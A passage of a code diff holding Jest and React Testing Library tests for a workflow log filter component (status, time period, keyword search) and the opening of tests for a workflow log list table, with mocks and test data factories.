* Tests the workflow log filter component which provides:
|
||||
* - Status filtering (all, succeeded, failed, stopped, partial-succeeded)
|
||||
* - Time period selection
|
||||
* - Keyword search
|
||||
*/
|
||||
|
||||
import { fireEvent, render, screen, waitFor } from '@testing-library/react'
|
||||
import userEvent from '@testing-library/user-event'
|
||||
import Filter, { TIME_PERIOD_MAPPING } from './filter'
|
||||
import type { QueryParam } from './index'
|
||||
|
||||
// ============================================================================
|
||||
// Mocks
|
||||
// ============================================================================
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
const mockTrackEvent = jest.fn()
|
||||
jest.mock('@/app/components/base/amplitude/utils', () => ({
|
||||
trackEvent: (...args: unknown[]) => mockTrackEvent(...args),
|
||||
}))
|
||||
|
||||
// ============================================================================
|
||||
// Test Data Factories
|
||||
// ============================================================================
|
||||
|
||||
const createDefaultQueryParams = (overrides: Partial<QueryParam> = {}): QueryParam => ({
|
||||
status: 'all',
|
||||
period: '2', // default to last 7 days
|
||||
...overrides,
|
||||
})
|
||||
|
||||
// ============================================================================
|
||||
// Tests
|
||||
// ============================================================================
|
||||
|
||||
describe('Filter', () => {
|
||||
const defaultSetQueryParams = jest.fn()
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Rendering Tests (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Should render status chip, period chip, and search input
|
||||
expect(screen.getByText('All')).toBeInTheDocument()
|
||||
expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render all filter components', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Status chip
|
||||
expect(screen.getByText('All')).toBeInTheDocument()
|
||||
// Period chip (shows translated key)
|
||||
expect(screen.getByText('appLog.filter.period.last7days')).toBeInTheDocument()
|
||||
// Search input
|
||||
expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Status Filter Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Status Filter', () => {
|
||||
it('should display current status value', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ status: 'succeeded' })}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Chip should show Success for succeeded status
|
||||
expect(screen.getByText('Success')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should open status dropdown when clicked', async () => {
|
||||
const user = userEvent.setup()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('All'))
|
||||
|
||||
// Should show all status options
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Success')).toBeInTheDocument()
|
||||
expect(screen.getByText('Fail')).toBeInTheDocument()
|
||||
expect(screen.getByText('Stop')).toBeInTheDocument()
|
||||
expect(screen.getByText('Partial Success')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
it('should call setQueryParams when status is selected', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('All'))
|
||||
await user.click(await screen.findByText('Success'))
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'succeeded',
|
||||
period: '2',
|
||||
})
|
||||
})
|
||||
|
||||
it('should track status selection event', async () => {
|
||||
const user = userEvent.setup()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('All'))
|
||||
await user.click(await screen.findByText('Fail'))
|
||||
|
||||
expect(mockTrackEvent).toHaveBeenCalledWith(
|
||||
'workflow_log_filter_status_selected',
|
||||
{ workflow_log_filter_status: 'failed' },
|
||||
)
|
||||
})
|
||||
|
||||
it('should reset to all when status is cleared', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
const { container } = render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ status: 'succeeded' })}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Find the clear icon (div with group/clear class) in the status chip
|
||||
const clearIcon = container.querySelector('.group\\/clear')
|
||||
|
||||
expect(clearIcon).toBeInTheDocument()
|
||||
await user.click(clearIcon!)
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'all',
|
||||
period: '2',
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
['all', 'All'],
|
||||
['succeeded', 'Success'],
|
||||
['failed', 'Fail'],
|
||||
['stopped', 'Stop'],
|
||||
['partial-succeeded', 'Partial Success'],
|
||||
])('should display correct label for %s status', (statusValue, expectedLabel) => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ status: statusValue })}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByText(expectedLabel)).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Time Period Filter Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Time Period Filter', () => {
|
||||
it('should display current period value', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ period: '1' })}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should open period dropdown when clicked', async () => {
|
||||
const user = userEvent.setup()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('appLog.filter.period.last7days'))
|
||||
|
||||
// Should show all period options
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.filter.period.last4weeks')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.filter.period.last3months')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.filter.period.allTime')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
it('should call setQueryParams when period is selected', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('appLog.filter.period.last7days'))
|
||||
await user.click(await screen.findByText('appLog.filter.period.allTime'))
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'all',
|
||||
period: '9',
|
||||
})
|
||||
})
|
||||
|
||||
it('should reset period to allTime when cleared', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ period: '2' })}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Find the period chip's clear button
|
||||
const periodChip = screen.getByText('appLog.filter.period.last7days').closest('div')
|
||||
const clearButton = periodChip?.querySelector('button[type="button"]')
|
||||
|
||||
if (clearButton) {
|
||||
await user.click(clearButton)
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'all',
|
||||
period: '9',
|
||||
})
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Keyword Search Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Keyword Search', () => {
|
||||
it('should display current keyword value', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ keyword: 'test search' })}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByDisplayValue('test search')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should call setQueryParams when typing in search', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
const input = screen.getByPlaceholderText('common.operation.search')
|
||||
await user.type(input, 'workflow')
|
||||
|
||||
// Should call setQueryParams for each character typed
|
||||
expect(setQueryParams).toHaveBeenLastCalledWith(
|
||||
expect.objectContaining({ keyword: 'workflow' }),
|
||||
)
|
||||
})
|
||||
|
||||
it('should clear keyword when clear button is clicked', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
const { container } = render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ keyword: 'test' })}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
// The Input component renders a clear icon div inside the input wrapper
|
||||
// when showClearIcon is true and value exists
|
||||
const inputWrapper = container.querySelector('.w-\\[200px\\]')
|
||||
|
||||
// Find the clear icon div (has cursor-pointer class and contains RiCloseCircleFill)
|
||||
const clearIconDiv = inputWrapper?.querySelector('div.cursor-pointer')
|
||||
|
||||
expect(clearIconDiv).toBeInTheDocument()
|
||||
await user.click(clearIconDiv!)
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'all',
|
||||
period: '2',
|
||||
keyword: '',
|
||||
})
|
||||
})
|
||||
|
||||
it('should update on direct input change', () => {
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
const input = screen.getByPlaceholderText('common.operation.search')
|
||||
fireEvent.change(input, { target: { value: 'new search' } })
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'all',
|
||||
period: '2',
|
||||
keyword: 'new search',
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// TIME_PERIOD_MAPPING Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('TIME_PERIOD_MAPPING', () => {
|
||||
it('should have correct mapping for today', () => {
|
||||
expect(TIME_PERIOD_MAPPING['1']).toEqual({ value: 0, name: 'today' })
|
||||
})
|
||||
|
||||
it('should have correct mapping for last 7 days', () => {
|
||||
expect(TIME_PERIOD_MAPPING['2']).toEqual({ value: 7, name: 'last7days' })
|
||||
})
|
||||
|
||||
it('should have correct mapping for last 4 weeks', () => {
|
||||
expect(TIME_PERIOD_MAPPING['3']).toEqual({ value: 28, name: 'last4weeks' })
|
||||
})
|
||||
|
||||
it('should have correct mapping for all time', () => {
|
||||
expect(TIME_PERIOD_MAPPING['9']).toEqual({ value: -1, name: 'allTime' })
|
||||
})
|
||||
|
||||
it('should have all 9 predefined time periods', () => {
|
||||
expect(Object.keys(TIME_PERIOD_MAPPING)).toHaveLength(9)
|
||||
})
|
||||
|
||||
test.each([
|
||||
['1', 'today', 0],
|
||||
['2', 'last7days', 7],
|
||||
['3', 'last4weeks', 28],
|
||||
['9', 'allTime', -1],
|
||||
])('TIME_PERIOD_MAPPING[%s] should have name=%s and correct value', (key, name, expectedValue) => {
|
||||
const mapping = TIME_PERIOD_MAPPING[key]
|
||||
expect(mapping.name).toBe(name)
|
||||
if (expectedValue >= 0)
|
||||
expect(mapping.value).toBe(expectedValue)
|
||||
else
|
||||
expect(mapping.value).toBe(-1)
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Edge Cases (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle undefined keyword gracefully', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ keyword: undefined })}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
const input = screen.getByPlaceholderText('common.operation.search')
|
||||
expect(input).toHaveValue('')
|
||||
})
|
||||
|
||||
it('should handle empty string keyword', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ keyword: '' })}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
const input = screen.getByPlaceholderText('common.operation.search')
|
||||
expect(input).toHaveValue('')
|
||||
})
|
||||
|
||||
it('should preserve other query params when updating status', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ keyword: 'test', period: '3' })}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('All'))
|
||||
await user.click(await screen.findByText('Success'))
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'succeeded',
|
||||
period: '3',
|
||||
keyword: 'test',
|
||||
})
|
||||
})
|
||||
|
||||
it('should preserve other query params when updating period', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ keyword: 'test', status: 'failed' })}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
await user.click(screen.getByText('appLog.filter.period.last7days'))
|
||||
await user.click(await screen.findByText('appLog.filter.period.today'))
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'failed',
|
||||
period: '1',
|
||||
keyword: 'test',
|
||||
})
|
||||
})
|
||||
|
||||
it('should preserve other query params when updating keyword', async () => {
|
||||
const user = userEvent.setup()
|
||||
const setQueryParams = jest.fn()
|
||||
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({ status: 'failed', period: '3' })}
|
||||
setQueryParams={setQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
const input = screen.getByPlaceholderText('common.operation.search')
|
||||
await user.type(input, 'a')
|
||||
|
||||
expect(setQueryParams).toHaveBeenCalledWith({
|
||||
status: 'failed',
|
||||
period: '3',
|
||||
keyword: 'a',
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Integration Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Integration', () => {
|
||||
it('should render with all filters visible simultaneously', () => {
|
||||
render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams({
|
||||
status: 'succeeded',
|
||||
period: '1',
|
||||
keyword: 'integration test',
|
||||
})}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Success')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
|
||||
expect(screen.getByDisplayValue('integration test')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have proper layout with flex and gap', () => {
|
||||
const { container } = render(
|
||||
<Filter
|
||||
queryParams={createDefaultQueryParams()}
|
||||
setQueryParams={defaultSetQueryParams}
|
||||
/>,
|
||||
)
|
||||
|
||||
const filterContainer = container.firstChild as HTMLElement
|
||||
expect(filterContainer).toHaveClass('flex')
|
||||
expect(filterContainer).toHaveClass('flex-row')
|
||||
expect(filterContainer).toHaveClass('gap-2')
|
||||
})
|
||||
})
|
||||
})
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,757 @@
|
|||
/**
|
||||
* WorkflowAppLogList Component Tests
|
||||
*
|
||||
* Tests the workflow log list component which displays:
|
||||
* - Table of workflow run logs with sortable columns
|
||||
* - Status indicators (success, failed, stopped, running, partial-succeeded)
|
||||
* - Trigger display for workflow apps
|
||||
* - Drawer with run details
|
||||
* - Loading states
|
||||
*/
|
||||
|
||||
import { render, screen, waitFor } from '@testing-library/react'
|
||||
import userEvent from '@testing-library/user-event'
|
||||
import WorkflowAppLogList from './list'
|
||||
import { useStore as useAppStore } from '@/app/components/app/store'
|
||||
import type { App, AppIconType, AppModeEnum } from '@/types/app'
|
||||
import type { WorkflowAppLogDetail, WorkflowLogsResponse, WorkflowRunDetail } from '@/models/log'
|
||||
import { WorkflowRunTriggeredFrom } from '@/models/log'
|
||||
import { APP_PAGE_LIMIT } from '@/config'
|
||||
|
||||
// ============================================================================
|
||||
// Mocks
|
||||
// ============================================================================
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
const mockRouterPush = jest.fn()
|
||||
jest.mock('next/navigation', () => ({
|
||||
useRouter: () => ({
|
||||
push: mockRouterPush,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock useTimestamp hook
|
||||
jest.mock('@/hooks/use-timestamp', () => ({
|
||||
__esModule: true,
|
||||
default: () => ({
|
||||
formatTime: (timestamp: number, _format: string) => `formatted-${timestamp}`,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock useBreakpoints hook
|
||||
jest.mock('@/hooks/use-breakpoints', () => ({
|
||||
__esModule: true,
|
||||
default: () => 'pc', // Return desktop by default
|
||||
MediaType: {
|
||||
mobile: 'mobile',
|
||||
pc: 'pc',
|
||||
},
|
||||
}))
|
||||
|
||||
// Mock the Run component
|
||||
jest.mock('@/app/components/workflow/run', () => ({
|
||||
__esModule: true,
|
||||
default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
|
||||
<div data-testid="workflow-run">
|
||||
<span data-testid="run-detail-url">{runDetailUrl}</span>
|
||||
<span data-testid="tracing-list-url">{tracingListUrl}</span>
|
||||
</div>
|
||||
),
|
||||
}))
|
||||
|
||||
// Mock WorkflowContextProvider
|
||||
jest.mock('@/app/components/workflow/context', () => ({
|
||||
WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
|
||||
<div data-testid="workflow-context-provider">{children}</div>
|
||||
),
|
||||
}))
|
||||
|
||||
// Mock BlockIcon
|
||||
jest.mock('@/app/components/workflow/block-icon', () => ({
|
||||
__esModule: true,
|
||||
default: () => <div data-testid="block-icon">BlockIcon</div>,
|
||||
}))
|
||||
|
||||
// Mock useTheme
|
||||
jest.mock('@/hooks/use-theme', () => ({
|
||||
__esModule: true,
|
||||
default: () => {
|
||||
const { Theme } = require('@/types/app')
|
||||
return { theme: Theme.light }
|
||||
},
|
||||
}))
|
||||
|
||||
// Mock ahooks
|
||||
jest.mock('ahooks', () => ({
|
||||
useBoolean: (initial: boolean) => {
|
||||
const setters = {
|
||||
setTrue: jest.fn(),
|
||||
setFalse: jest.fn(),
|
||||
toggle: jest.fn(),
|
||||
}
|
||||
return [initial, setters] as const
|
||||
},
|
||||
}))
|
||||
|
||||
// ============================================================================
|
||||
// Test Data Factories
|
||||
// ============================================================================
|
||||
|
||||
const createMockApp = (overrides: Partial<App> = {}): App => ({
|
||||
id: 'test-app-id',
|
||||
name: 'Test App',
|
||||
description: 'Test app description',
|
||||
author_name: 'Test Author',
|
||||
icon_type: 'emoji' as AppIconType,
|
||||
icon: '🚀',
|
||||
icon_background: '#FFEAD5',
|
||||
icon_url: null,
|
||||
use_icon_as_answer_icon: false,
|
||||
mode: 'workflow' as AppModeEnum,
|
||||
enable_site: true,
|
||||
enable_api: true,
|
||||
api_rpm: 60,
|
||||
api_rph: 3600,
|
||||
is_demo: false,
|
||||
model_config: {} as App['model_config'],
|
||||
app_model_config: {} as App['app_model_config'],
|
||||
created_at: Date.now(),
|
||||
updated_at: Date.now(),
|
||||
site: {
|
||||
access_token: 'token',
|
||||
app_base_url: 'https://example.com',
|
||||
} as App['site'],
|
||||
api_base_url: 'https://api.example.com',
|
||||
tags: [],
|
||||
access_mode: 'public_access' as App['access_mode'],
|
||||
...overrides,
|
||||
})
|
||||
|
||||
const createMockWorkflowRun = (overrides: Partial<WorkflowRunDetail> = {}): WorkflowRunDetail => ({
|
||||
id: 'run-1',
|
||||
version: '1.0.0',
|
||||
status: 'succeeded',
|
||||
elapsed_time: 1.234,
|
||||
total_tokens: 100,
|
||||
total_price: 0.001,
|
||||
currency: 'USD',
|
||||
total_steps: 5,
|
||||
finished_at: Date.now(),
|
||||
triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
|
||||
...overrides,
|
||||
})
|
||||
|
||||
const createMockWorkflowLog = (overrides: Partial<WorkflowAppLogDetail> = {}): WorkflowAppLogDetail => ({
|
||||
id: 'log-1',
|
||||
workflow_run: createMockWorkflowRun(),
|
||||
created_from: 'web-app',
|
||||
created_by_role: 'account',
|
||||
created_by_account: {
|
||||
id: 'account-1',
|
||||
name: 'Test User',
|
||||
email: 'test@example.com',
|
||||
},
|
||||
created_at: Date.now(),
|
||||
...overrides,
|
||||
})
|
||||
|
||||
const createMockLogsResponse = (
|
||||
data: WorkflowAppLogDetail[] = [],
|
||||
total = data.length,
|
||||
): WorkflowLogsResponse => ({
|
||||
data,
|
||||
has_more: data.length < total,
|
||||
limit: APP_PAGE_LIMIT,
|
||||
total,
|
||||
page: 1,
|
||||
})
|
||||
|
||||
// ============================================================================
|
||||
// Tests
|
||||
// ============================================================================
|
||||
|
||||
describe('WorkflowAppLogList', () => {
|
||||
const defaultOnRefresh = jest.fn()
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
useAppStore.setState({ appDetail: createMockApp() })
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Rendering Tests (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Rendering', () => {
|
||||
it('should render loading state when logs are undefined', () => {
|
||||
const { container } = render(
|
||||
<WorkflowAppLogList logs={undefined} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(container.querySelector('.spin-animation')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render loading state when appDetail is undefined', () => {
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
|
||||
const { container } = render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={undefined} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(container.querySelector('.spin-animation')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render table when data is available', () => {
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByRole('table')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render all table headers', () => {
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('appLog.table.header.startTime')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.table.header.status')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.table.header.runtime')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.table.header.tokens')).toBeInTheDocument()
|
||||
expect(screen.getByText('appLog.table.header.user')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render trigger column for workflow apps', () => {
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
const workflowApp = createMockApp({ mode: 'workflow' as AppModeEnum })
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={workflowApp} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('appLog.table.header.triggered_from')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should not render trigger column for non-workflow apps', () => {
|
||||
const logs = createMockLogsResponse([createMockWorkflowLog()])
|
||||
const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={chatApp} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Status Display Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Status Display', () => {
|
||||
it('should render success status correctly', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ status: 'succeeded' }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Success')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render failure status correctly', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ status: 'failed' }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Failure')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render stopped status correctly', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ status: 'stopped' }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Stop')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render running status correctly', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ status: 'running' }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Running')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render partial-succeeded status correctly', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
workflow_run: createMockWorkflowRun({ status: 'partial-succeeded' as WorkflowRunDetail['status'] }),
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('Partial Success')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// User Info Display Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('User Info Display', () => {
|
||||
it('should display account name when created by account', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
created_by_account: { id: 'acc-1', name: 'John Doe', email: 'john@example.com' },
|
||||
created_by_end_user: undefined,
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('John Doe')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display end user session id when created by end user', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
created_by_end_user: { id: 'user-1', type: 'browser', is_anonymous: false, session_id: 'session-abc-123' },
|
||||
created_by_account: undefined,
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('session-abc-123')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should display N/A when no user info', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({
|
||||
created_by_account: undefined,
|
||||
created_by_end_user: undefined,
|
||||
}),
|
||||
])
|
||||
|
||||
render(
|
||||
<WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
|
||||
)
|
||||
|
||||
expect(screen.getByText('N/A')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Sorting Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Sorting', () => {
|
||||
it('should sort logs in descending order by default', () => {
|
||||
const logs = createMockLogsResponse([
|
||||
createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
|
||||
createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
|
||||
createMockWorkflowLog({ id: 'log-3', created_at: 3000 }),
|
||||
])
